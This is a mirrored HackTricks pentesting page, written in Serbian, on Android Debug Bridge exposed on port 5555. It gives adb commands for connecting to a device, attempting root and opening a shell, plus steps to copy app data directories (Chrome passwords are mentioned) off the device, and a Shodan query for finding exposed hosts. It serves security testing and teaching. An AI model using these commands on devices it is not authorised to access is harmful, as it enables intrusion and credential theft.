mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
46 lines
1.7 KiB
Markdown
46 lines
1.7 KiB
Markdown
# 5555 - Android Debug Bridge
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Osnovne informacije
|
|
|
|
Iz [dokumentacije](https://developer.android.com/studio/command-line/adb):
|
|
|
|
**Android Debug Bridge** (adb) je svestran alat za komandnu liniju koji vam omogućava da komunicirate sa uređajem. adb komanda olakšava razne radnje na uređaju, kao što su **instaliranje i debagovanje aplikacija**, i pruža **pristup Unix shell-u** koji možete koristiti za izvršavanje raznih komandi na uređaju.
|
|
|
|
**Podrazumevani port**: 5555.
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
|
```
|
|
## Poveži se
|
|
|
|
Ako pronađeš ADB servis koji radi na portu uređaja i možeš se povezati na njega, **možeš dobiti shell unutar sistema:**
|
|
```bash
|
|
adb connect 10.10.10.10
|
|
adb root # Try to escalate to root
|
|
adb shell
|
|
```
|
|
Za više ADB komandi proverite sledeću stranicu:
|
|
|
|
{{#ref}}
|
|
../mobile-pentesting/android-app-pentesting/adb-commands.md
|
|
{{#endref}}
|
|
|
|
### Ispusti podatke aplikacije
|
|
|
|
Da biste potpuno preuzeli podatke aplikacije, možete:
|
|
```bash
|
|
# From a root console
|
|
chmod 777 /data/data/com.package
|
|
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
|
adb pull "/sdcard/com.package"
|
|
```
|
|
Možete koristiti ovu trik da **dobijete osetljive informacije kao što su chrome lozinke**. Za više informacija o ovome proverite informacije u referencama [**ovde**](https://github.com/carlospolop/hacktricks/issues/274).
|
|
|
|
## Shodan
|
|
|
|
- `android debug bridge`
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|